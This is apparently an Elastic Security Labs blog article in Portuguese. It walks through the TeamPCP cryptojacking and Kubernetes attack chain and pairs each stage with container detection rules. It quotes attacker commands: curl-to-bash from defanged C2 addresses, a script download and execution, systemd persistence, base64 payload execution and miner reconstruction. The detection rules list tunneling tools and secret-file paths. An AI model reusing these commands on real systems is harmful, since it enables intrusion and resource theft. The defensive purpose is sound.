Engenharia de Detecção de Linux e Nuvem - Cenário de Ataque a Contêineres TeamPCP

Introdução

No artigo anterior, examinamos como o Defend for Containers (D4C) é implantado, como seu modelo de política opera e como sua telemetria de tempo de execução é estruturada. Com essa base estabelecida, o próximo passo é passar da configuração e análise de campo para a engenharia de detecção aplicada.

Este artigo descreve um cenário realista de ataque a contêineres baseado na operação de ransomware nativa da nuvem TeamPCP, conforme documentado pela Flare. Em vez de analisar técnicas isoladas de forma abstrata, acompanhamos o ataque à medida que ele se desenrola dentro de um ambiente conteinerizado e examinamos como cada etapa se manifesta na telemetria do D4C.

Quando mapeada para o MITRE ATT&CK, a atividade neste cenário abrange quase todo o ciclo de vida do ataque. A intrusão progride desde a execução e descoberta dentro do contêiner até a persistência, movimentação lateral, atividade de comando e controle e, por fim, impacto.

Ao mapear esses comportamentos para uma lógica de detecção concreta, este artigo demonstra como o D4C permite que os engenheiros de detecção identifiquem a violação de contêineres não como comandos suspeitos isolados, mas como parte de uma cadeia de ataque estruturada.

TeamPCP - uma força emergente no cenário de computação em nuvem e ransomware.

Este cenário descreve a fase de comprometimento e propagação do contêiner da operação de ransomware TeamPCP, nativa da nuvem, recentemente pesquisada e documentada pela Flare. Em vez de tratar isso como um estudo de caso abstrato, o fluxograma abaixo reflete como o ataque se desenrola na prática e mostra como a telemetria do D4C e as detecções pré-configuradas revelam cada etapa da intrusão.

Em linhas gerais, os objetivos do agente da ameaça nesta fase são:

Obtenha execução de código interativa dentro de um contêiner.
Determine se a carga de trabalho é executada no Kubernetes.
Estabelecer execução e persistência duradouras
Propaga-se lateralmente através de vagens e nós.
Prepare o ambiente para a monetização em larga escala (mineração, ransomware ou revenda).

Cada um desses objetivos deixa para trás um comportamento observável em tempo de execução que o D4C está bem posicionado para detectar.

Etapa 1 – Execução inicial via download e pipe para o shell

O ataque começa com uma técnica familiar, porém eficaz: baixar e executar imediatamente um script por meio de um pipeline de shell.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

O objetivo aqui é obter execução imediata, evitando a criação de arquivos. Essa é uma escolha clássica de espionagem: nenhum dado útil gravado em disco, nenhum artefato óbvio para escanear.

Do ponto de vista da D4C, isso ainda resulta em um padrão de tempo de execução altamente suspeito. Um processo interativo curl é executado dentro de um contêiner e imediatamente inicia um interpretador de shell. A relação pai-filho, a linha de comando e o contexto do contêiner são todos capturados.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

Esta regra detecta o padrão de download → execução do interpretador, mesmo quando nenhum arquivo é gravado em disco. Detectar essa etapa é crucial, pois é o primeiro indicador confiável de atividade de digitação em um teclado dentro de um contêiner.

Após a execução, o TeamPCP verifica o sistema alvo em busca de processos de mineração concorrentes e usa o comando pkill para encerrá-los.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

A lógica de eliminação de concorrentes do TeamPCP é muito limitada em comparação com seus concorrentes, focando apenas em xmrig. O encerramento manual de processos em contêineres é incomum, especialmente quando feito por meio de processos interativos.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção no acesso inicial:

Etapa 2 – Descoberta do ambiente Kubernetes

Após obter a execução, o atacante verifica se o contêiner está em execução no Kubernetes, testando a presença de um token de conta de serviço:

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

Esta verificação determina se o ataque pode se expandir para além do contêiner atual. Caso o token exista, o atacante procede ao abuso da API do Kubernetes. Além disso, os scripts instalados enumeram variáveis de ambiente e vários locais de arquivos sensíveis, acionando inúmeros alertas relacionados à descoberta.

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção após a descoberta:

Estágio 3 – Movimento lateral via `kube.py`

Quando um token de conta de serviço está presente, o atacante baixa e executa um script Python projetado para enumerar pods e executar comandos em todo o cluster:

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

Neste ponto, o objetivo do atacante é claro: transformar um único contêiner comprometido em um ponto de apoio para a propagação em todo o cluster, usando APIs legítimas do Kubernetes.

O D4C detecta essa etapa por meio de uma combinação de telemetria de arquivos e processos. Um script é gravado em um diretório temporário e executado imediatamente por meio de um interpretador, tudo dentro de uma sessão de contêiner interativa.

A detecção de um comando curl interativo que extrai um arquivo de uma fonte remota é um forte sinal de detecção de cargas de trabalho de contêineres obsoletas.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

A regra de detecção acima detecta o download remoto do arquivo, mas podemos ir um passo além, detectando uma sequência de criação de arquivo, seguida por sua execução dentro do mesmo contexto de contêiner:

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

Aqui, focamos em processos interativos, excluindo arquivos criados por gerenciadores de pacotes, já que esperamos que eles estejam presentes em cargas de trabalho típicas.

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção ao movimento lateral:

Etapa 4 – Estabelecendo persistência via Systemd

Mecanismos de persistência, como os serviços do systemd, são geralmente ilógicos em ambientes de contêineres. A maioria dos contêineres é projetada para serem cargas de trabalho de curta duração e processo único, que dependem do ambiente de execução ou do orquestrador de contêineres para o gerenciamento do ciclo de vida. Normalmente, eles não executam um sistema init completo e, mesmo quando o systemd está presente, as alterações feitas dentro do contêiner raramente sobrevivem à reimplementação, ao reagendamento ou à reconstrução da imagem.

Consequentemente, tentativas de estabelecer persistência via systemd de dentro de um contêiner são um forte indicador de anomalia. Geralmente, indicam uma de duas coisas: ou o contêiner está sendo executado com privilégios elevados e acesso ao sistema de arquivos do host, ou o invasor espera escapar dos limites do contêiner e fazer com que seu mecanismo de persistência entre em vigor no nível do nó.

Na campanha TeamPCP, o atacante tenta estabelecer persistência criando um serviço systemd :

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

Essa ação não é consistente com o comportamento normal de um contêiner. Escrever arquivos de unidade do systemd de dentro de um contêiner sugere a intenção de persistir além do ciclo de vida do contêiner, o que só faz sentido se o host subjacente for afetado.

O D4C captura esse comportamento como atividade de criação de arquivos em locais sensíveis do sistema, originada de um contexto de contêiner. A seguinte lógica de detecção procura por atividades de escrita em arquivos em caminhos de persistência comuns do Linux, incluindo serviços do systemd, temporizadores, tarefas cron, arquivos sudoers e modificações no perfil do shell:

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

Esta detecção não se concentra apenas em systemd. Em vez disso, ele modela a persistência de forma mais ampla, abrangendo vários vetores de persistência comuns do Linux que os invasores podem tentar usar após a execução do código. Ao excluir explicitamente os gerenciadores de pacotes, a regra reduz o ruído proveniente de atividades legítimas de atualização e instalação.

A regra de detecção que foi acionada nesta etapa está disponível aqui:

Detecção de modificação de arquivos relevantes para persistência por meio do Defend for Containers.

Resultando nos seguintes alertas de detecção após a persistência:

Quando essa detecção é acionada em um contexto de contêiner, é um forte indicador de comportamento pós-comprometimento com potencial impacto no nível do host. Isso destaca uma atividade que não é apenas suspeita, mas também estruturalmente incompatível com o comportamento esperado dos contêineres.

Etapa 5 – Instalação de ferramentas em tempo de execução

Em implantações baseadas em Docker, o atacante instala as ferramentas necessárias dinamicamente:

apk add --no-cache curl bash python3

Isso permite que a mesma carga útil seja executada em diferentes imagens base sem modificações.

Do ponto de vista de um defensor, a instalação de pacotes de tempo de execução dentro de um contêiner é um forte indicador de adulteração pós-implantação. O D4C detecta isso por meio da telemetria de execução de processos vinculada a gerenciadores de pacotes conhecidos.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

Nem todas as instalações de pacotes em contêineres são maliciosas. Após a orquestração, os contêineres precisam instalar determinados pacotes para serem executados. No entanto, como os agentes maliciosos costumam usar gerenciadores de pacotes para instalar as ferramentas necessárias, isso é um forte indício de problemas em ambientes de execução de contêineres já implantados.

A regra de detecção que foi acionada nesta etapa está disponível aqui:

Instalação de ferramenta detectada pelo sistema Defend for Containers.

Resultando nos seguintes alertas de detecção após a instalação da ferramenta:

Etapa 6 – Estabelecimento de tunelamento e acesso por proxy

Uma vez que a execução e a persistência estejam estáveis, o TeamPCP muda o foco do acesso para a conectividade. Nessa fase, os atacantes implantam ferramentas de tunelamento e proxy, como frps e gost, para expor serviços internos e manter um acesso externo confiável.

O objetivo desta etapa é converter contêineres comprometidos em infraestrutura reutilizável. Ao estabelecer túneis ou encaminhadores, os atacantes podem se deslocar para outros ambientes, retransmitir tráfego ou reutilizar a carga de trabalho comprometida como parte de uma cadeia de ataque maior.

O D4C detecta essa atividade por meio da telemetria de execução de processos. A execução de ferramentas de tunelamento conhecidas dentro de contêineres é incomum para cargas de trabalho legítimas e se destaca claramente quando combinada com execução interativa e contexto de contêiner.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

Existem muitas ferramentas de tunelamento e encaminhamento de portas disponíveis em sistemas Linux. A regra geral exibida acima utiliza uma combinação de expressões regulares, nomes de processos e argumentos de processos para detectar atividades de tunelamento comumente observadas.

A regra de detecção que foi acionada nesta etapa está disponível aqui:

Detecção de tunelamento e/ou encaminhamento de portas via Defend for Containers

Resultando nos seguintes alertas de detecção ao acessar por meio de túneis e proxies:

A detecção de túneis é importante porque geralmente marca a transição de uma invasão de curta duração para uma presença sustentada do atacante. Quando correlacionado com estágios anteriores, fornece forte confirmação de abuso intencional e contínuo, em vez de execução oportunista.

Etapa 7 – Execução da carga útil codificada

Para ocultar a lógica do payload, o atacante executa um payload codificado em base64 diretamente via Python:

python3 -c "exec(base64.b64decode('<payload>').decode())"

Essa técnica reduz a visibilidade do conteúdo em si, mas introduz características de execução distintas: argumentos codificados passados diretamente para um interpretador em uma sessão interativa.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

Existem muitas maneiras de decodificar uma carga útil, mas a regra geral mostrada acima engloba as técnicas mais comumente observadas.

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção após a execução:

Etapa 8 – Implantação e execução do minerador

Por fim, o atacante reconstrói um minerador a partir de base64, grava-o em disco, torna-o executável e o executa:

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

Esta etapa representa a transição da fase de configuração para a monetização. O atacante está agora a abusar ativamente dos recursos do cluster.

Conforme mencionado anteriormente, o D4C detectará a decodificação da carga útil em base64 usando a mesma regra mencionada na etapa anterior. Outros três sinais importantes a serem detectados são a criação de uma carga útil codificada em base64, alterações nas permissões de arquivos em diretórios específicos e a execução de binários recém-criados em diretórios temporários.

Para a criação de payloads codificados em base64, foi criada uma regra geral que detecta a execução de um shell com funções internas como echo/printf, e uma lista de permissões para linhas de comando comumente abusadas:

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

Especialmente para processos interativos, a seguinte regra de detecção é um sinal alto.

A segunda parte do fluxo diz respeito às alterações de permissões de arquivo. Nem todas as alterações de permissões de arquivos são maliciosas, mas não se espera que a detecção de alterações de permissões em arquivos executáveis em diretórios com permissão de escrita para todos os usuários, por meio de um processo interativo dentro de um contêiner, ocorra com frequência.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

Note que aqui utilizamos as categorias de eventos de arquivo e de processo. A razão para isso é que o D4C captura essas alterações por meio de eventos de arquivo se configurado especificamente na política, mas por padrão capturará essas execuções de processo quando configurado para detectar chamadas execve .

A peça final dessa cadeia se relaciona à execução de arquivos binários em locais onde todos podem escrever neles. A maioria dos ambientes de execução de contêineres não executará payloads desses diretórios.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

Note que a regra também captura execuções de processos ocultos. Essa é uma técnica comumente observada também por agentes maliciosos, que podem tentar evitar a detecção marcando processos como ocultos.

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção após a implantação e execução do minerador:

Etapa 9 – Escalada para o Controle do Nó

Uma vez que o atacante tenha obtido acesso a um contêiner e a uma conta de serviço com privilégios excessivos, o próximo passo é explorar o próprio plano de controle do Kubernetes. Esta etapa leva o ataque além de um único contêiner, passando a ter impacto em todo o cluster. Essa atividade é detectada por meio dos logs de auditoria do Kubernetes. As regras de registro de auditoria do Kubernetes reveladas por essa intrusão se enquadram em três padrões distintos.

Etapa 9.1 – Reconhecimento e Abuso de API

O script kube.py do atacante usa o token da conta de serviço roubado para enumerar pods, segredos e nós em todos os namespaces. Do ponto de vista do Kubernetes, isso se assemelha a uma única identidade fazendo uma série de chamadas de API em vários tipos de recursos, um padrão que se relaciona diretamente com a lógica de detecção de enumeração de permissões. O uso de urllib do Python em vez de kubectl também é incomum como cliente de API.

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção durante o reconhecimento e abuso da API:

Etapa 9.2 – Elevação de privilégios e manipulação de carga de trabalho

Com a enumeração concluída, o atacante cria um DaemonSet privilegiado (system-monitor) e depende do ClusterRole com privilégios excessivos que foi vinculado à conta de serviço comprometida. Tanto a criação da carga de trabalho quanto a função que a permitiu são sinalizadas: o DaemonSet como uma modificação sensível da carga de trabalho e a vinculação do ClusterRole como uma função sensível que concede amplas permissões, incluindo pods/exec, acesso secreto e criação do DaemonSet.

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção em caso de escalonamento de privilégios e manipulação de carga de trabalho:

Estágio 9.3 – Fuga em Nível de Nó

A especificação de pod do DaemonSet foi projetada para romper todas as barreiras de isolamento que um contêiner normalmente fornece. Ele solicita o modo privilegiado, conecta-se à rede do host e ao namespace PID e monta o sistema de arquivos raiz do nó. Cada uma dessas propriedades aciona uma regra de detecção separada e, juntas, elas fornecem uma imagem clara de uma carga de trabalho de contêiner projetada para escapar do nó.

As regras de detecção acionadas nesta etapa estão disponíveis aqui:

Resultando nos seguintes alertas de detecção em caso de fuga no nível do nó:

Essas três subetapas também destacam um limite fundamental na detecção focada em contêineres. Embora o D4C seja excelente em observar o que acontece dentro dos contêineres, identificar como e por que esses contêineres foram criados requer telemetria do plano de controle do Kubernetes. Em uma série complementar sobre "Engenharia de Detecção no Kubernetes", focaremos na correlação de eventos de tempo de execução do D4C com os logs de auditoria do Kubernetes para detectar ataques em múltiplos estágios que abrangem a criação de cargas de trabalho, a escalação de privilégios e o impacto no nível do nó.

Para quem já está familiarizado com os logs de auditoria do Kubernetes ou tem interesse em aprender mais sobre eles, disponibilizamos diversas regras de detecção pré-configuradas que utilizam a estrutura de logs de auditoria do Kubernetes em nosso repositório GitHub detection-rules.

Etapa 10 – Exploração do servidor web via React2Shell

Além de explorar contêineres comprometidos e caminhos de controle do Kubernetes, o TeamPCP também utiliza a exploração direta de servidores web para obter acesso ao shell de serviços expostos. Uma das técnicas mencionadas em campanhas relacionadas é o React2Shell, em que aplicações web vulneráveis são exploradas para obter execução remota de comandos e acesso a um shell interativo.

O objetivo do atacante aqui é simples: expandir o acesso para além das cargas de trabalho do Kubernetes e aumentar o número de pontos de entrada no ambiente. Os serviços voltados para a web geralmente são menos isolados do que os contêineres e podem fornecer um caminho rápido para comprometimento no nível do host se não forem corrigidos.

Do ponto de vista da detecção, essa atividade já está bem coberta. A Elastic oferece uma solução abrangente de detecção de exploração de servidores web, que sinaliza padrões suspeitos de execução de comandos originados de processos do servidor web. Além disso, várias detecções Linux baseadas no host identificam comportamentos pós-exploração após o acesso bem-sucedido ao web shell, como execução inesperada de shell, interpretadores de comandos iniciados por serviços web e execução subsequente de ferramentas.

Detectar essa etapa é importante porque ela representa um caminho de entrada alternativo que ignora completamente as defesas específicas do contêiner. Quando correlacionada com detecções anteriores do D4C, a exploração no estilo React2Shell ajuda a confirmar que o atacante está buscando ativamente múltiplas vias de acesso, aumentando tanto o raio de impacto quanto o potencial de persistência.

A regra de detecção que foi acionada nesta etapa está disponível aqui:

Exploração de servidor web detectada pelo Defend for Containers

Resultando nos seguintes alertas de detecção após a exploração do servidor web:

O que torna esse cenário eficaz como exercício de detecção é que todos os principais objetivos do atacante (execução, persistência, propagação e monetização) se manifestam como comportamento em tempo de execução dentro dos contêineres. A capacidade da D4C de observar esse comportamento em contexto permite que os engenheiros de detecção acompanhem o ataque à medida que ele se desenrola, em vez de descobri-lo somente depois que o dano já foi causado.

Integrando tudo com a descoberta de ataques

A execução de regras de detecção individuais em todo o ambiente de execução do contêiner e na telemetria de auditoria do Kubernetes gera dezenas de alertas, cada um destacando uma única ação suspeita de forma isolada. Um defensor que revisasse esses itens um por um veria um pod privilegiado aqui, um curl | bash ali e uma sequência de enumerações de API em algum outro lugar. O desafio não é gerar alertas; é reconhecer que esses mais de 130 sinais fazem parte da mesma operação.

É aí que entra a Descoberta de Ataques . O Attack Discovery é a funcionalidade de IA generativa da Elastic que recebe um conjunto de alertas e os correlaciona automaticamente em narrativas de ataque coerentes. Em vez de obrigar o analista a alternar manualmente entre alertas individuais, o sistema identifica quais sinais pertencem ao mesmo grupo e os mapeia para a estrutura MITRE ATT&CK, produzindo um resumo único e de fácil leitura do ocorrido.

Ao analisar os alertas gerados por essa simulação, o Attack Discovery reconstruiu corretamente toda a cadeia de ataque do TeamPCP como uma "Cadeia de Ataque de Cryptojacking em Contêiner". O resumo identificou:

Acesso inicial: Exploração do servidor web no nó da vítima, onde busybox foi gerado a partir de python3.11 e executou comandos de reconhecimento (id, whoami, uname -a, cat /etc/passwd)
Escalada de privilégios: O system:serviceaccount:kube-system:daemon-set-controller está criando pods altamente privilegiados com HostPID, HostNetwork, modo privilegiado e montagens de volume hostPath sensíveis.
Evasão de Defesa: Limpeza de criptomineradores concorrentes via pkill -9 xmrig e pkill -9 XMRig, juntamente com payloads Python codificados em base64
Preparação da ferramenta: Instalação do pacote de tempo de execução (apk, curl, bash, python3) e download do script malicioso via curl do servidor C2 simulado
Infraestrutura C2: Implantação das ferramentas de tunelamento gost e frpc sob /opt/teampcp, com um proxy SOCKS5 escutando na porta 1081.
Impacto: Um binário /tmp/miner decodificado e preparado: o objetivo do cryptojacking

A visualização da cadeia de ataque mapeia os alertas correlacionados em toda a cadeia de eliminação do MITRE ATT&CK, desde o Acesso Inicial até o Impacto, com atividade confirmada em Execução, Elevação de Privilégios, Evasão de Defesa, Descoberta e Comando e Controle.

Essa é a vantagem de combinar a telemetria de tempo de execução do D4C com os logs de auditoria do Kubernetes. Nenhuma das fontes de dados sozinha produziria este cenário: o tempo de execução do contêiner vê o curl | bash, o processo gost e o binário do minerador, enquanto os logs de auditoria capturam a criação do DaemonSet, o abuso do RBAC e a enumeração da API. O Attack Discovery funde ambos em uma narrativa única que permite ao analista do SOC agir imediatamente, sem precisar juntar manualmente alertas de diferentes índices e períodos.

Conclusão

Ao longo dessa cadeia de ataques, observamos um padrão consistente. A execução interativa dentro de contêineres levou à descoberta do ambiente, movimentação lateral por meio de APIs do Kubernetes, tentativas de persistência em locais inconsistentes com o design do contêiner, instalação de ferramentas de tempo de execução, atividade de tunelamento, reconstrução de payloads codificados e, finalmente, monetização de recursos. Cada objetivo gerou sinais de tempo de execução distintos.

O valor do Defend for Containers reside em expor esses sinais com o contexto do contêiner e da orquestração anexados. A linhagem do processo, os metadados de capacidade, os sinalizadores de execução interativa, a telemetria de modificação de arquivos e a identidade do contêiner permitem que as detecções vão além da simples correspondência de comandos e, em vez disso, analisem a intenção e o impacto.

Este cenário também destaca um importante limite arquitetônico. Embora o D4C forneça visibilidade profunda do tempo de execução dentro dos contêineres, certas etapas de escalonamento, como a criação de cargas de trabalho privilegiadas ou a manipulação do plano de controle, exigem telemetria de log de auditoria do Kubernetes para visibilidade completa. Portanto, a detecção eficaz em nuvem nativa depende da combinação de fontes de dados de tempo de execução e do plano de controle.

Na próxima fase desta série, estenderemos este modelo para além dos limites do contêiner e exploraremos a engenharia de detecção do plano de controle do Kubernetes, correlacionando logs de auditoria com eventos de tempo de execução do D4C para detectar ataques em vários estágios que abrangem cargas de trabalho, nós e o próprio cluster.

Engenharia de Detecção em Linux e Nuvem - Cenário de Ataque a Contêineres TeamPCP

Introdução

TeamPCP - uma força emergente no cenário de computação em nuvem e ransomware.

Etapa 1 – Execução inicial via download e pipe para o shell

Etapa 2 – Descoberta do ambiente Kubernetes

Estágio 3 – Movimento lateral via `kube.py`

Etapa 4 – Estabelecendo persistência via Systemd

Etapa 5 – Instalação de ferramentas em tempo de execução

Etapa 6 – Estabelecimento de tunelamento e acesso por proxy

Etapa 7 – Execução da carga útil codificada

Etapa 8 – Implantação e execução do minerador

Etapa 9 – Escalada para o Controle do Nó

Etapa 9.1 – Reconhecimento e Abuso de API

Etapa 9.2 – Elevação de privilégios e manipulação de carga de trabalho

Estágio 9.3 – Fuga em Nível de Nó

Etapa 10 – Exploração do servidor web via React2Shell

Integrando tudo com a descoberta de ataques

Conclusão

Ir para a seção

Boletim informativo do Elastic Security Labs

Compartilhe este artigo

Engenharia de Detecção em Linux e Nuvem - Cenário de Ataque a Contêineres TeamPCP

Introdução

TeamPCP - uma força emergente no cenário de computação em nuvem e ransomware.

Etapa 1 – Execução inicial via download e pipe para o shell

